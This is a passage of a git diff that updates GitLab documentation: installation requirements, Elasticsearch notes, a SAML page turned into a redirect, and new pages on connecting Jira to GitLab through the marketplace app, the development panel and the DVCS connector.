b/doc/install/requirements.md @@ -17,7 +17,8 @@ as the hardware requirements that are needed to install and use GitLab. - Ubuntu (16.04/18.04/20.04) - Debian (9/10) - CentOS (7/8) -- openSUSE (Leap 15.1/Enterprise Server 12.2) +- openSUSE Leap (15.1/15.2) +- SUSE Linux Enterprise Server (12 SP2/12 SP5) - Red Hat Enterprise Linux (please use the CentOS packages and instructions) - Scientific Linux (please use the CentOS packages and instructions) - Oracle Linux (please use the CentOS packages and instructions) @@ -66,6 +67,11 @@ The minimum required Go version is 1.13. ### Git versions +From GitLab 13.11: + +- Git 2.31.x and later is required. We recommend you use the + [Git version provided by Gitaly](installation.md#git). + From GitLab 13.6: - Git 2.29.x and later is required. @@ -94,8 +100,8 @@ from source at the [Node.js website](https://nodejs.org/en/download/). GitLab 13.0 and later requires Redis version 4.0 or higher. -Redis version 5.0 or higher is recommended, as this is what ships with -[Omnibus GitLab](https://docs.gitlab.com/omnibus/) packages starting with GitLab 12.7. +Redis version 6.0 or higher is recommended, as this is what ships with +[Omnibus GitLab](https://docs.gitlab.com/omnibus/) packages starting with GitLab 13.9. ## Hardware requirements diff --git a/doc/integration/README.md b/doc/integration/README.md index 9c3d39327f8..c725cc08556 100644 --- a/doc/integration/README.md +++ b/doc/integration/README.md @@ -63,7 +63,7 @@ or [Kroki](../administration/integration/kroki.md) to use diagrams in AsciiDoc a ## Integrations -Integration with services such as Campfire, Flowdock, HipChat, Pivotal Tracker, and Slack are available as [Integrations](../user/project/integrations/overview.md). +Integration with services such as Campfire, Flowdock, Jira, Pivotal Tracker, and Slack are available as [Integrations](../user/project/integrations/overview.md). ## Troubleshooting diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md index 5c9149ef49b..a6c3afceeea 100644 --- a/doc/integration/elasticsearch.md +++ b/doc/integration/elasticsearch.md @@ -91,6 +91,14 @@ Since Elasticsearch can read and use indices created in the previous major versi The only thing worth noting is that if you have created your current index before GitLab 13.0, you might want to reindex from scratch (which will implicitly create an alias) in order to use some features, for example [Zero downtime reindexing](#zero-downtime-reindexing). Once you do that, you'll be able to perform zero-downtime reindexing and will benefit from any future features that make use of the alias. +If you are unsure when your current index was created, +you can check whether it was created after GitLab 13.0 by using the +[Elasticsearch cat aliases API](https://www.elastic.co/guide/en/elasticsearch/reference/7.11/cat-alias.html). +If the list of aliases returned contains an entry for `gitlab-production` that points to an index +named `gitlab-production-<numerical timestamp>`, your index was created after GitLab 13.0. +If the `gitlab-production` alias is missing, you'll need to reindex from scratch to use +features such as Zero-downtime reindexing. + ## Elasticsearch repository indexer For indexing Git repository data, GitLab uses an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). @@ -231,8 +239,8 @@ The following Elasticsearch settings are available: | `AWS Secret Access Key` | The AWS secret access key. | | `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). | | `Maximum field length` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-field-length). | -| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | -| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch's Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch's Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | | `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. | WARNING: @@ -671,7 +679,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). Whenever a change or deletion is made to an indexed GitLab object (a merge request description is changed, a file is deleted from the master branch in a repository, a project is deleted, etc), a document in the index is deleted. However, since these are "soft" deletes, the overall number of "deleted documents", and therefore wasted space, increases. Elasticsearch does intelligent merging of segments in order to remove these deleted documents. However, depending on the amount and type of activity in your GitLab installation, it's possible to see as much as 50% wasted space in the index. -In general, we recommend simply letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene's defaults as-is and not fret too much about when deletes are reclaimed."_ +In general, we recommend letting Elasticsearch merge and reclaim space automatically, with the default settings. From [Lucene's Handling of Deleted Documents](https://www.elastic.co/blog/lucenes-handling-of-deleted-documents "Lucene's Handling of Deleted Documents"), _"Overall, besides perhaps decreasing the maximum segment size, it is best to leave Lucene's defaults as-is and not fret too much about when deletes are reclaimed."_ However, some larger installations may wish to tune the merge policy settings: @@ -711,8 +719,7 @@ data). The use of Elasticsearch in GitLab is only ever as a secondary data store. This means that all of the data stored in Elasticsearch can always be derived again from other data sources, specifically PostgreSQL and Gitaly. Therefore, if -the Elasticsearch data store is ever corrupted for whatever reason, you can -simply reindex everything from scratch. +the Elasticsearch data store is ever corrupted for whatever reason, you can reindex everything from scratch. ## Troubleshooting @@ -908,7 +915,7 @@ In GitLab 13.9, a change was made where [binary file names are being indexed](ht ### Last resort to recreate an index There may be cases where somehow data never got indexed and it's not in the -queue, or the index is somehow in a state where migrations just simply cannot +queue, or the index is somehow in a state where migrations just cannot proceed. It is always best to try to troubleshoot the root cause of the problem using the above [troubleshooting](#troubleshooting) steps. @@ -936,3 +943,10 @@ sudo gitlab-rake gitlab:elastic:index cd /home/git/gitlab sudo -u git -H bundle exec rake gitlab:elastic:index ``` + +### How does Advanced Search handle private projects? + +Advanced Search will store all the projects in the same Elasticsearch indexes, +however searches will only surface results that can be viewed by the user. +Advanced Search will honor all permission checks in the application by +filtering out projects that a user does not have access to at search time. diff --git a/doc/integration/google_workspace_saml.md b/doc/integration/google_workspace_saml.md index 7b561750b0f..46a39a2e64b 100644 --- a/doc/integration/google_workspace_saml.md +++ b/doc/integration/google_workspace_saml.md @@ -1,163 +1,8 @@ --- -type: reference -stage: Manage -group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'saml.md' --- -# Google Workspace SSO provider +This document was moved to [another location](saml.md). -Google Workspace (formerly G Suite) is a [Single Sign-on provider](https://support.google.com/a/answer/60224?hl=en) that can be used to authenticate -with GitLab. - -The following documentation enables Google Workspace as a SAML provider for GitLab. - -## Configure the Google Workspace SAML app - -The following guidance is based on this Google Workspace article, on how to [Set up your own custom SAML application](https://support.google.com/a/answer/6087519?hl=en): - -Make sure you have access to a Google Workspace [Super Admin](https://support.google.com/a/answer/2405986#super_admin) account. - Follow the instructions in the linked Google Workspace article, where you'll need the following information: - -| | Typical value | Description | -|------------------|--------------------------------------------------|----------------------------------------------------------| -| Name of SAML App | GitLab | Other names OK. | -| ACS URL | `https://<GITLAB_DOMAIN>/users/auth/saml/callback` | ACS is short for Assertion Consumer Service. | -| GITLAB_DOMAIN | `gitlab.example.com` | Set to the domain of your GitLab instance. | -| Entity ID | `https://gitlab.example.com` | A value unique to your SAML app, you'll set it to the `issuer` in your GitLab configuration. | -| Name ID format | EMAIL | Required value. Also known as `name_identifier_format` | -| Name ID | Primary email address | Make sure someone receives content sent to that address | -| First name | `first_name` | Required value to communicate with GitLab. | -| Last name | `last_name` | Required value to communicate with GitLab. | - -You will also need to setup the following SAML attribute mappings: - -| Google Directory attributes | App attributes | -|-----------------------------------|----------------| -| Basic information > Email | `email` | -| Basic Information > First name | `first_name` | -| Basic Information > Last name | `last_name` | - -You may also use some of this information when you [Configure GitLab](#configure-gitlab). - -When configuring the Google Workspace SAML app, be sure to record the following information: - -| | Value | Description | -|-------------|--------------|-----------------------------------------------------------------------------------| -| SSO URL | Depends | Google Identity Provider details. Set to the GitLab `idp_sso_target_url` setting. | -| Certificate | Downloadable | Run `openssl x509 -in <your_certificate.crt> -noout -fingerprint` to generate the SHA1 fingerprint that can be used in the `idp_cert_fingerprint` setting. | - -While the Google Workspace Admin provides IDP metadata, Entity ID and SHA-256 fingerprint, -GitLab does not need that information to connect to the Google Workspace SAML app. - ---- - -Now that the Google Workspace SAML app is configured, it's time to enable it in GitLab. - -## Configure GitLab - -1. See [Initial OmniAuth Configuration](../integration/omniauth.md#initial-omniauth-configuration) - for initial settings. - -1. To allow people to register for GitLab, through their Google accounts, add the following - values to your configuration: - - **For Omnibus GitLab installations** - - Edit `/etc/gitlab/gitlab.rb`: - - ```ruby - gitlab_rails['omniauth_allow_single_sign_on'] = ['saml'] - gitlab_rails['omniauth_block_auto_created_users'] = false - ``` - - --- - - **For installations from source** - - Edit `config/gitlab.yml`: - - ```yaml - allow_single_sign_on: ["saml"] - block_auto_created_users: false - ``` - -1. If an existing GitLab user has the same email address as a Google Workspace user, the registration - process automatically links their accounts, if you add the following setting: - their email addresses match by adding the following setting: - - **For Omnibus GitLab installations** - - Edit `/etc/gitlab/gitlab.rb`: - - ```ruby - gitlab_rails['omniauth_auto_link_saml_user'] = true - ``` - - --- - - **For installations from source** - - Edit `config/gitlab.yml`: - - ```yaml - auto_link_saml_user: true - ``` - -1. Add the provider configuration. - -For guidance on how to set up these values, see the [SAML General Setup steps](saml.md#general-setup). -Pay particular attention to the values for: - -- `assertion_consumer_service_url` -- `idp_cert_fingerprint` -- `idp_sso_target_url` -- `issuer` -- `name_identifier_format` - - **For Omnibus GitLab installations** - - ```ruby - gitlab_rails['omniauth_providers'] = [ - { - name: 'saml', - args: { - assertion_consumer_service_url: 'https://<GITLAB_DOMAIN>/users/auth/saml/callback', - idp_cert_fingerprint: '00:00:00:00:00:00:0:00:00:00:00:00:00:00:00:00', - idp_sso_target_url: 'https://accounts.google.com/o/saml2/idp?idpid=00000000', - issuer: 'https://<GITLAB_DOMAIN>', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' - }, - label: 'Google Workspace' # optional label for SAML log in button, defaults to "Saml" - } - ] - ``` - - **For installations from source** - - ```yaml - - { - name: 'saml', - args: { - assertion_consumer_service_url: 'https://<GITLAB_DOMAIN>/users/auth/saml/callback', - idp_cert_fingerprint: '00:00:00:00:00:00:0:00:00:00:00:00:00:00:00:00', - idp_sso_target_url: 'https://accounts.google.com/o/saml2/idp?idpid=00000000', - issuer: 'https://<GITLAB_DOMAIN>', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' - }, - label: 'Google Workspace' # optional label for SAML log in button, defaults to "Saml" - } - ``` - -1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for Omnibus and installations - from source respectively for the changes to take effect. - -To avoid caching issues, test the result on an incognito or private browser window. - -## Troubleshooting - -The Google Workspace documentation on [SAML app error messages](https://support.google.com/a/answer/6301076?hl=en) is helpful for debugging if you are seeing an error from Google while signing in. -Pay particular attention to the following 403 errors: - -- `app_not_configured` -- `app_not_configured_for_user` +<!-- This redirect file can be deleted after 2021-06-15>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/img/enabled-oauth-sign-in-sources.png b/doc/integration/img/enabled-oauth-sign-in-sources.png Binary files differdeleted file mode 100644 index e83f9d5cfdf..00000000000 --- a/doc/integration/img/enabled-oauth-sign-in-sources.png +++ /dev/null diff --git a/doc/integration/img/enabled-oauth-sign-in-sources_v13_10.png b/doc/integration/img/enabled-oauth-sign-in-sources_v13_10.png Binary files differnew file mode 100644 index 00000000000..86f6402c168 --- /dev/null +++ b/doc/integration/img/enabled-oauth-sign-in-sources_v13_10.png diff --git a/doc/integration/img/jira_dev_panel_gl_setup_1.png b/doc/integration/img/jira_dev_panel_gl_setup_1.png Binary files differdeleted file mode 100644 index 75279877c93..00000000000 --- a/doc/integration/img/jira_dev_panel_gl_setup_1.png +++ /dev/null diff --git a/doc/integration/img/jira_dev_panel_jira_setup_2.png b/doc/integration/img/jira_dev_panel_jira_setup_2.png Binary files differdeleted file mode 100644 index a4778a00dd5..00000000000 --- a/doc/integration/img/jira_dev_panel_jira_setup_2.png +++ /dev/null diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md index 1250ddee584..60c9faf938d 100644 --- a/doc/integration/jenkins.md +++ b/doc/integration/jenkins.md @@ -87,7 +87,7 @@ authorize the connection to GitLab. 1. On the Jenkins server, go to **Manage Jenkins > Manage Plugins**. 1. Install the [Jenkins GitLab Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Plugin). 1. Go to **Manage Jenkins > Configure System**. -1. In the **GitLab** section, check the **Enable authentication for ‘/project’ end-point** checkbox. +1. In the **GitLab** section, check the **Enable authentication for '/project' end-point** checkbox. 1. Click **Add**, then choose **Jenkins Credential Provider**. 1. Choose **GitLab API token** as the token type. 1. Enter the GitLab personal access token's value in the **API Token** field and click **Add**. diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md new file mode 100644 index 00000000000..b096d5bff61 --- /dev/null +++ b/doc/integration/jira/connect-app.md @@ -0,0 +1,130 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GitLab for Jira app **(FREE SAAS)** + +You can integrate GitLab.com and Jira Cloud using the +[GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) +app in the Atlassian Marketplace. The user configuring GitLab for Jira must have +[Maintainer](../../user/permissions.md) permissions in the GitLab namespace. + +This integration method supports [smart commits](dvcs.md#smart-commits). + +This method is recommended when using GitLab.com and Jira Cloud because data is +synchronized in real-time. The DVCS connector updates data only once per hour. +If you are not using both of these environments, use the [Jira DVCS Connector](dvcs.md) method. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a walkthrough of the integration with GitLab for Jira, watch +[Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube. + +1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab. +1. Click **GitLab for Jira**, then click **Get it now**, or go to the + [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud). + +  +1. After installing, click **Get started** to go to the configurations page. + This page is always available under **Jira Settings > Apps > Manage apps**. + +  +1. If not already signed in to GitLab.com, you must sign in as a user with + [Maintainer](../../user/permissions.md) permissions to add namespaces. + +  +1. Select **Add namespace** to open the list of available namespaces. + +1. Identify the namespace you want to link, and select **Link**. + +  + +NOTE: +The GitLab user only needs access when adding a new namespace. For syncing with +Jira, we do not depend on the user's token. + +After a namespace is added: + +- All future commits, branches, and merge requests of all projects under that namespace + are synced to Jira. +- From GitLab 13.8, past merge request data is synced to Jira. + +Support for syncing past branch and commit data [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/263240). + +## Install the GitLab Jira Cloud application for self-managed instances **(FREE SELF)** + +If your GitLab instance is self-managed, you must follow some +extra steps to install the GitLab Jira Cloud application. + +Each Jira Cloud application must be installed from a single location. Jira fetches +a [manifest file](https://developer.atlassian.com/cloud/jira/platform/connect-app-descriptor/) +from the location you provide. The manifest file describes the application to the system. To support +self-managed GitLab instances with Jira Cloud, you can either: + +- [Install the application manually](#install-the-application-manually). +- [Create a Marketplace listing](#create-a-marketplace-listing). + +### Install the application manually **(FREE SELF)** + +You can configure your Atlassian Cloud instance to allow you to install applications +from outside the Marketplace, which allows you to install the application: + +1. Sign in to your Jira instance as a user with administrator permissions. +1. Place your Jira instance into + [development mode](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-2--enable-development-mode). +1. Sign in to your GitLab application as a user with [Administrator](../../user/permissions.md) permissions. +1. Install the GitLab application from your self-managed GitLab instance, as + described in the [Atlassian developer guides](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-3--install-and-test-your-app): + 1. In your Jira instance, go to **Apps > Manage Apps** and click **Upload app**: + +  + + 1. For **App descriptor URL**, provide full URL to your manifest file, modifying this + URL based on your instance configuration: `https://your.domain/your-path/-/jira_connect/app_descriptor.json` + 1. Click **Upload**, and Jira fetches the content of your `app_descriptor` file and installs + it for you. + 1. If the upload is successful, Jira displays a modal panel: **Installed and ready to go!** + Click **Get started** to configure the integration. + +  + +1. Disable [development mode](https://developer.atlassian.com/cloud/jira/platform/getting-started-with-connect/#step-2--enable-development-mode) on your Jira instance. + +The **GitLab for Jira** app now displays under **Manage apps**. You can also +click **Get started** to open the configuration page rendered from your GitLab instance. + +NOTE: +If you make changes to the application descriptor, you must uninstall, then reinstall, the +application. + +### Create a Marketplace listing **(FREE SELF)** + +If you prefer to not use development mode on your Jira instance, you can create +your own Marketplace listing for your instance, which enables your application +to be installed from the Atlassian Marketplace. + +For full instructions, review the Atlassian [guide to creating a marketplace listing](https://developer.atlassian.com/platform/marketplace/installing-cloud-apps/#creating-the-marketplace-listing). To create a +Marketplace listing, you must: + +1. Register as a Marketplace vendor. +1. List your application, using the application descriptor URL. + - Your manifest file is located at: `https://your.domain/your-path/-/jira_connect/app_descriptor.json` + - GitLab recommends you list your application as `private`, because public + applications can be viewed and installed by any user. +1. Generate test license tokens for your application. + +Review the +[official Atlassian documentation](https://developer.atlassian.com/platform/marketplace/installing-cloud-apps/#creating-the-marketplace-listing) +for details. + +NOTE: +DVCS means distributed version control system. + +## Troubleshooting GitLab for Jira + +The GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies. This can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in. + +> "You need to sign in or sign up before continuing." + +In this case, use [Firefox](https://www.mozilla.org/en-US/firefox/) or enable cross-site cookies in your browser. diff --git a/doc/integration/jira/development_panel.md b/doc/integration/jira/development_panel.md new file mode 100644 index 00000000000..1617e950104 --- /dev/null +++ b/doc/integration/jira/development_panel.md @@ -0,0 +1,155 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GitLab Jira Development panel integration **(FREE)** + +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to GitLab Free in 13.4. + +The Jira Development panel integration allows you to reference Jira issues in GitLab, displaying +activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/) +in the issue. + +It complements the [GitLab Jira integration](../../user/project/integrations/jira.md). You may choose +to configure both integrations to take advantage of both sets of features. See a +[feature comparison](index.md#direct-feature-comparison). + +## Features + +| Your mention of Jira issue ID in GitLab context | Automated effect in Jira issue | +|---------------------------------------------------|--------------------------------------------------------------------------------------------------------| +| In a merge request | Link to the MR is displayed in Development panel. | +| In a branch name | Link to the branch is displayed in Development panel. | +| In a commit message | Link to the commit is displayed in Development panel. | +| In a commit message with Jira Smart Commit format | Displays your custom comment or logged time spent and/or performs specified issue transition on merge. | + +With this integration, you can access related GitLab merge requests, branches, and commits directly from a Jira issue, reflecting your work in GitLab. From the Development panel, you can open a detailed view and take actions including creating a new merge request from a branch. For more information, see [Usage](#usage). + +This integration connects all GitLab projects to projects in the Jira instance in either: + +- A top-level group. A top-level GitLab group is one that does not have any parent group itself. All + the projects of that top-level group, as well as projects of the top-level group's subgroups nesting + down, are connected. +- A personal namespace, which then connects the projects in that personal namespace to Jira. + +This differs from the [Jira integration](../../user/project/integrations/jira.md), where the mapping is between one GitLab project and the entire Jira instance. + +Additional features provided by the Jira Development Panel integration include: + +- In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests. +- Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition. +- Showing pipeline, deployment, and feature flags in Jira issues. + +## Configuration + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview of how to configure Jira Development panel integration, see [Agile Management - GitLab Jira Development panel integration](https://www.youtube.com/watch?v=VjVTOmMl85M&feature=youtu.be). + +We recommend that a GitLab group maintainer or group owner, or instance administrator (in the case of +self-managed GitLab) set up the integration to simplify administration. + +| If you use Jira on: | GitLab.com customers need: | GitLab self-managed customers need: | +|-|-|-| +| [Atlassian cloud](https://www.atlassian.com/cloud) | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This offers real-time sync between GitLab and Jira. | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See the documentation for [installing the GitLab Jira Cloud application for self-managed instances](connect-app.md#install-the-gitlab-jira-cloud-application-for-self-managed-instances) for more information. | +| Your own server | The Jira DVCS (distributed version control system) connector. This syncs data hourly. | The [Jira DVCS Connector](dvcs.md). | + +Each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab +project can interact with _all_ Jira projects in that instance, once configured. For: + +- The [view Jira issues](issues.md#view-jira-issues) feature, you must associate a GitLab project with a + specific Jira project. +- Other features, you do not have to explicitly associate a GitLab project with any single Jira + project. + +If you have a single Jira instance, you can pre-fill the settings. For more information, read the +documentation for [central administration of project integrations](../../user/admin_area/settings/project_integration_management.md). + +To enable the Jira service in GitLab, you must: + +1. Configure the project in Jira. +1. Enter the correct values in GitLab. + +### Configure GitLab + +> **Notes:** +> +> - The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`. +> - In order to support Oracle's Access Manager, GitLab sends additional cookies +> to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with +> a value of `fromDialog`. + +To enable the Jira integration in a project: + +1. Go to the project's [Integrations page](../../user/project/integrations/overview.md#accessing-integrations) and select the + **Jira** service. + +1. Select **Enable integration**. + +1. Select **Trigger** actions. + This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both, + should link the Jira issue back to that source commit/MR and transition the Jira issue, if + indicated. + +1. To include a comment on the Jira issue when the above reference is made in GitLab, select + **Enable comments**. + +1. To transition Jira issues when a [closing reference](../../user/project/issues/managing_issues.md#closing-issues-automatically) is made in GitLab, + select **Enable Jira transitions**. + +1. Enter the further details on the page as described in the following table. + + | Field | Description | + | ----- | ----------- | + | `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. For example, `https://jira.example.com`. | + | `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira on Atlassian cloud**. | + | `Username or Email` | Created in [configure Jira](dvcs.md#configure-jira-for-dvcs) step. Use `username` for **Jira Server** or `email` for **Jira on Atlassian cloud**. | + | `Password/API token` | Created in [configure Jira](dvcs.md#configure-jira-for-dvcs) step. Use `password` for **Jira Server** or `API token` for **Jira on Atlassian cloud**. | + +1. To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and + enter a Jira project key. **(PREMIUM)** + + You can only display issues from a single Jira project within a given GitLab project. + + WARNING: + If you enable Jira issues with the setting above, all users that have access to this GitLab project + are able to view all issues from the specified Jira project. + +1. To enable creation of issues for vulnerabilities, select **Enable Jira issues creation from vulnerabilities**. + + 1. Select the **Jira issue type**. If the dropdown is empty, select refresh (**{retry}**) and try again. + +1. To verify the Jira connection is working, select **Test settings**. + +1. Select **Save changes**. + +Your GitLab project can now interact with all Jira projects in your instance and the project now +displays a Jira link that opens the Jira project. + +## Usage + +After the integration is set up on GitLab and Jira, you can: + +- Refer to any Jira issue by its ID in GitLab branch names, commit messages, and merge request + titles. +- See the linked branches, commits, and merge requests in Jira issues (merge requests are + called "pull requests" in Jira issues). + +Jira issue IDs must be formatted in uppercase for the integration to work. + + + +Click the links to see your GitLab repository data. + + + + + +For more information on using Jira Smart Commits to track time against an issue, specify an issue transition, or add a custom comment, see the Atlassian page [Using Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html). + +## Limitations + +This integration is not supported on GitLab instances under a +[relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab). +For example, `http://example.com/gitlab`. diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md new file mode 100644 index 00000000000..5d315ebd802 --- /dev/null +++ b/doc/integration/jira/dvcs.md @@ -0,0 +1,221 @@ +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Jira DVCS connector + +Use the Jira DVCS (distributed version control system) connector if you self-host +either your Jira instance or your GitLab instance, and you want to sync information +between them. If you use Jira Cloud and GitLab.com, you should use the +[GitLab for Jira app](connect-app.md) unless you specifically need the DVCS connector. + +When you configure the Jira DVCS connector, make sure your GitLab and Jira instances +are accessible. + +- **Self-managed GitLab**: Your GitLab instance must be accessible by Jira. +- **Jira Cloud**: Your instance must be accessible through the internet. +- **Jira Server**: Your network must allow access to your instance. + +## Smart commits + +When connecting GitLab with Jira with DVCS, you can process your Jira issues using +special commands, called +[Smart Commits](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/), +in your commit messages. With Smart Commits, you can: + +- Comment on issues. +- Record time-tracking information against issues. +- Transition issues to any status defined in the Jira project's workflow. + +Commands must be in the first line of the commit message. The +[Jira Software documentation](https://support.atlassian.com/jira-software-cloud/docs/process-issues-with-smart-commits/) +contains more information about how smart commits work, and what commands are available +for your use. + +For smart commits to work, the committing user on GitLab must have a corresponding +user on Jira with the same email address or username. + +## Configure a GitLab application for DVCS + +We recommend you create and use a `jira` user in GitLab, and use the account only +for integration work. A separate account ensures regular account maintenance does not affect +your integration. + +1. In GitLab, [create a user](../../user/profile/account/create_accounts.md) for Jira to + use to connect to GitLab. For Jira to access all projects, + a user with [Administrator](../../user/permissions.md) permissions must + create the user. +1. In the top right corner, click the account's avatar, and select **Edit profile**. +1. In the left sidebar, select **Applications**. +1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`. +1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab, + replacing `<gitlab.example.com>` with your GitLab instance domain: + - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>/login/oauth/callback`. + If you use GitLab.com, the URL is `https://gitlab.com/login/oauth/callback`. + - *For GitLab versions 11.2 and earlier,* use + `https://<gitlab.example.com>/-/jira/login/oauth/callback`. + +1. For **Scopes**, select `api` and clear any other checkboxes. +1. Select **Submit**. +1. GitLab displays the generated **Application ID** + and **Secret** values. Copy these values, as you need them to configure Jira. + +## Configure Jira for DVCS + +If you use Jira Cloud and GitLab.com, use the [GitLab for Jira app](connect-app.md) +unless you specifically need the DVCS Connector. + +Configure this connection when you want to import all GitLab commits and branches, +for the groups you specify, into Jira. This import takes a few minutes and, after +it completes, refreshes every 60 minutes: + +1. Ensure you have completed the [GitLab configuration](#configure-a-gitlab-application-for-dvcs). +1. Go to your DVCS account: + - *For Jira Server,* go to **Settings (gear) > Applications > DVCS accounts**. + - *For Jira Cloud,* go to **Settings (gear) > Products > DVCS accounts**. +1. To create a new integration, select the appropriate value for **Host**: + - *For Jira versions 8.14 and later:* Select **GitLab** or + <!-- vale gitlab.Substitutions = NO --> + **GitLab Self-Hosted**. + <!-- vale gitlab.Substitutions = YES --> + - *For Jira versions 8.13 and earlier:* Select **GitHub Enterprise**. +1. For **Team or User Account**, enter either: + - The relative path of a top-level GitLab group that you have access to. + - The relative path of your personal namespace. + +1. In the **Host URL** field, enter the URI appropriate for your version of GitLab, + replacing `<gitlab.example.com>` with your GitLab instance domain: + - *For GitLab versions 11.3 and later,* use `https://<gitlab.example.com>`. + - *For GitLab versions 11.2 and earlier,* use + `https://<gitlab.example.com>/-/jira`. + +1. For **Client ID**, use the **Application ID** value from the previous section. +1. For **Client Secret**, use the **Secret** value from the previous section. +1. Ensure that the rest of the checkboxes are checked. +1. Select **Add** to complete and create the integration. + +To connect additional GitLab projects from other GitLab top-level groups, or +personal namespaces, repeat the previous steps with additional Jira DVCS accounts. + +After you configure the integration, read more about [how to test and use it](development_panel.md#usage). + +## Refresh data imported to Jira + +Jira imports the commits and branches every 60 minutes for your projects. You +can refresh the data manually from the Jira interface: + +1. Sign in to your Jira instance as the user you configured the integration with. +1. Go to **Settings (gear) > Applications**. +1. Select **DVCS accounts**. +1. In the table, for the repository you want to refresh, in the **Last Activity** + column, select the icon: +  + +## Troubleshooting your DVCS connection + +Refer to the items in this 